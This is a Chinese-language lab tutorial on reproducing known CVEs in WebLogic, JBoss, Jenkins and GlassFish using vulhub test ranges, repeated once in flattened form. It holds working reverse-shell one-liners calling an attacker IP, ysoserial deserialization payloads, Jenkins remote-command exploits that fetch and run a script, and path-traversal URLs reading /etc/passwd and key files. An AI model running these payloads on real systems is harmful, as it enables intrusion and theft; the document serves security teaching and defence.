中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现
字数 2196 2025-08-10 09:16:21

中间件安全漏洞复现教学文档:Weblogic、Jenkins、GlassFish

1. 中间件安全概述

1.1 常见中间件及框架列表

  • IIS, Apache, Nginx, Tomcat, Docker
  • Weblogic, JBoss, WebSphere
  • Jenkins, GlassFish, Jira
  • Struts2, Laravel, Solr, Shiro, Thinkphp, Spring, Flask, jQuery

1.2 常见中间件安全测试方向

  1. 配置不当:解析漏洞、弱口令
  2. 安全机制:特定安全漏洞
  3. 弱口令爆破攻击
  4. 框架特定安全漏洞

1.3 中间件安全测试流程

  1. 判断中间件信息(名称、版本、三方组件)
  2. 判断中间件问题(配置不当、公开漏洞)
  3. 判断中间件利用方式(弱口令、EXP、框架漏洞)

1.4 应用服务安全测试流程

  1. 判断服务开放情况(端口扫描、组合应用)
  2. 判断服务类型归属(数据库、文件传输、通讯等)
  3. 判断服务利用方式(特定漏洞、未授权、弱口令)

2. Weblogic安全漏洞复现

2.1 Weblogic简介

  • Java应用服务器软件,Oracle公司出品
  • 基于JAVAEE架构的中间件
  • 默认端口:7001

2.2 常见漏洞列表

  • CVE-2017-3506
  • CVE-2018-2893
  • CVE-2018-3245
  • CVE-2018-2628(反序列化)
  • CVE-2020-14882
  • CVE-2021-2394(反序列化)
  • CVE-2023-21839(反序列化)

2.3 CVE-2017-3506漏洞复现

复现步骤

  1. 使用vulfocus搭建靶场环境
  2. 访问目标URL
  3. 使用现成工具检测漏洞
  4. 存在漏洞则直接执行命令

工具利用

  • 将目标URL放入工具中检测
  • 存在漏洞可直接命令执行或上传文件

手工复现

  • 主要针对反序列化漏洞
  • 需要构造特定的序列化payload

3. JBoss安全漏洞复现

3.1 JBoss简介

  • J2EE开放源代码应用服务器
  • 通常占用端口:1098, 1099, 4444, 4445, 8080, 8009, 8083, 8093

3.2 常见安全问题

  • CVE-2017-12149
  • CVE-2017-7504
  • 弱口令
  • 未授权访问

3.3 CVE-2017-12149漏洞复现

漏洞原理

  • Java反序列化错误类型
  • 存在于HttpInvoker组件的ReadOnlyAccessFilter过滤器中
  • 未安全检查直接反序列化客户端数据流

复现步骤

  1. 使用vulhub搭建靶场环境
  2. 准备反弹shell命令并base64编码
    sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
    base64编码后:c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=
    
  3. 使用ysoserial生成payload
    java -jar ysoserial.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
    
  4. 发送curl请求
    curl http://目标IP:8080/invoker/readonly --data-binary @poc.ser
    
  5. 接收端开启监听
    nc -lvvp 8888
    

3.4 CVE-2017-7504漏洞复现

与CVE-2017-12149区别

  • 请求地址不同:/jbossmq-httpil/HTTPServerILServlet
  • 其余步骤相同

4. Jenkins安全漏洞复现

4.1 Jenkins简介

  • 基于Java开发的持续集成工具
  • 默认端口:8080

4.2 常见漏洞

  • CVE-2017-1000353
  • CVE-2018-1000861

4.3 CVE-2017-1000353漏洞复现

环境要求

  • JDK版本必须为jdk-8u291

复现步骤

  1. 使用vulfocus或vulhub搭建靶场
  2. 生成payload
    java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /123.txt"
    
  3. 执行exp
    python exploit.py http://目标IP:8080/ jenkins_poc.ser
    
  4. 验证是否成功创建文件

反弹shell

  1. 准备base64编码的反弹shell命令
  2. 生成payload时替换为反弹shell命令
  3. 执行exp并监听端口

4.4 CVE-2018-1000861漏洞复现

复现步骤

  1. 下载exp工具
  2. 直接执行命令
    python2 exp.py http://目标IP:8080/ "touch /tmp/123.txt"
    
  3. 进入靶场验证文件创建

手工测试POC

http://目标IP:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}

反弹shell进阶方法

  1. 在攻击机创建包含反弹shell命令的cmd.txt
  2. 开启HTTP服务
    python -m http.server 8080
    
  3. 使用exp下载文件
    python2 exp.py 目标IP "curl -o /tmp/cmd.sh http://攻击IP:8080/cmd.txt"
    
  4. 执行脚本
    python2 exp.py 目标IP "bash /tmp/cmd.sh"
    

5. GlassFish安全漏洞复现

5.1 GlassFish简介

  • 商业兼容的开源应用服务器
  • 默认端口:8080(网站内容)、4848(管理中心)

5.2 CVE-2017-1000028漏洞复现

漏洞原理

  • Java将%c0%ae解析为\uC0AE,转义为.(点)
  • 利用目录穿越实现任意文件读取

复现步骤

  1. 使用vulhub搭建环境
  2. 访问管理界面(4848端口)
  3. 构造payload读取敏感文件

常用payload

  1. 读取密码文件:
    https://目标IP:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile
    
  2. Linux下读取/etc/passwd:
    https://目标IP:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
    
  3. Windows下读取win.ini:
    http://目标IP:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
    

6. 总结与防护建议

6.1 漏洞共性

  • 多数为反序列化漏洞
  • 配置不当导致的安全问题
  • 弱口令是常见入口

6.2 防护措施

  1. 及时更新补丁:关注厂商安全公告,及时应用补丁
  2. 禁用不必要的服务:关闭不需要的功能和端口
  3. 强化认证机制:使用强密码,启用多因素认证
  4. 网络隔离:将中间件置于DMZ区域,限制访问来源
  5. 安全配置:按照安全基线进行配置
  6. 日志监控:建立完善的日志监控机制

6.3 测试注意事项

  1. 获取合法授权后再进行测试
  2. 使用测试环境,避免影响生产系统
  3. 测试完成后恢复系统原状
  4. 妥善保管测试过程中获取的敏感信息

通过本文档的学习,您应该能够掌握常见中间件的安全漏洞原理及复现方法,在实际工作中有效识别和防范相关安全风险。

中间件安全漏洞复现教学文档:Weblogic、Jenkins、GlassFish 1. 中间件安全概述 1.1 常见中间件及框架列表 IIS, Apache, Nginx, Tomcat, Docker Weblogic, JBoss, WebSphere Jenkins, GlassFish, Jira Struts2, Laravel, Solr, Shiro, Thinkphp, Spring, Flask, jQuery 1.2 常见中间件安全测试方向 配置不当 :解析漏洞、弱口令 安全机制 :特定安全漏洞 弱口令爆破攻击 框架特定安全漏洞 1.3 中间件安全测试流程 判断中间件信息(名称、版本、三方组件) 判断中间件问题(配置不当、公开漏洞) 判断中间件利用方式(弱口令、EXP、框架漏洞) 1.4 应用服务安全测试流程 判断服务开放情况(端口扫描、组合应用) 判断服务类型归属(数据库、文件传输、通讯等) 判断服务利用方式(特定漏洞、未授权、弱口令) 2. Weblogic安全漏洞复现 2.1 Weblogic简介 Java应用服务器软件,Oracle公司出品 基于JAVAEE架构的中间件 默认端口:7001 2.2 常见漏洞列表 CVE-2017-3506 CVE-2018-2893 CVE-2018-3245 CVE-2018-2628(反序列化) CVE-2020-14882 CVE-2021-2394(反序列化) CVE-2023-21839(反序列化) 2.3 CVE-2017-3506漏洞复现 复现步骤 : 使用vulfocus搭建靶场环境 访问目标URL 使用现成工具检测漏洞 存在漏洞则直接执行命令 工具利用 : 将目标URL放入工具中检测 存在漏洞可直接命令执行或上传文件 手工复现 : 主要针对反序列化漏洞 需要构造特定的序列化payload 3. JBoss安全漏洞复现 3.1 JBoss简介 J2EE开放源代码应用服务器 通常占用端口:1098, 1099, 4444, 4445, 8080, 8009, 8083, 8093 3.2 常见安全问题 CVE-2017-12149 CVE-2017-7504 弱口令 未授权访问 3.3 CVE-2017-12149漏洞复现 漏洞原理 : Java反序列化错误类型 存在于HttpInvoker组件的ReadOnlyAccessFilter过滤器中 未安全检查直接反序列化客户端数据流 复现步骤 : 使用vulhub搭建靶场环境 准备反弹shell命令并base64编码 使用ysoserial生成payload 发送curl请求 接收端开启监听 3.4 CVE-2017-7504漏洞复现 与CVE-2017-12149区别 : 请求地址不同:/jbossmq-httpil/HTTPServerILServlet 其余步骤相同 4. Jenkins安全漏洞复现 4.1 Jenkins简介 基于Java开发的持续集成工具 默认端口:8080 4.2 常见漏洞 CVE-2017-1000353 CVE-2018-1000861 4.3 CVE-2017-1000353漏洞复现 环境要求 : JDK版本必须为jdk-8u291 复现步骤 : 使用vulfocus或vulhub搭建靶场 生成payload 执行exp 验证是否成功创建文件 反弹shell : 准备base64编码的反弹shell命令 生成payload时替换为反弹shell命令 执行exp并监听端口 4.4 CVE-2018-1000861漏洞复现 复现步骤 : 下载exp工具 直接执行命令 进入靶场验证文件创建 手工测试POC : 反弹shell进阶方法 : 在攻击机创建包含反弹shell命令的cmd.txt 开启HTTP服务 使用exp下载文件 执行脚本 5. GlassFish安全漏洞复现 5.1 GlassFish简介 商业兼容的开源应用服务器 默认端口:8080(网站内容)、4848(管理中心) 5.2 CVE-2017-1000028漏洞复现 漏洞原理 : Java将%c0%ae解析为\uC0AE,转义为.(点) 利用目录穿越实现任意文件读取 复现步骤 : 使用vulhub搭建环境 访问管理界面(4848端口) 构造payload读取敏感文件 常用payload : 读取密码文件: Linux下读取/etc/passwd: Windows下读取win.ini: 6. 总结与防护建议 6.1 漏洞共性 多数为反序列化漏洞 配置不当导致的安全问题 弱口令是常见入口 6.2 防护措施 及时更新补丁 :关注厂商安全公告,及时应用补丁 禁用不必要的服务 :关闭不需要的功能和端口 强化认证机制 :使用强密码,启用多因素认证 网络隔离 :将中间件置于DMZ区域,限制访问来源 安全配置 :按照安全基线进行配置 日志监控 :建立完善的日志监控机制 6.3 测试注意事项 获取合法授权后再进行测试 使用测试环境,避免影响生产系统 测试完成后恢复系统原状 妥善保管测试过程中获取的敏感信息 通过本文档的学习,您应该能够掌握常见中间件的安全漏洞原理及复现方法,在实际工作中有效识别和防范相关安全风险。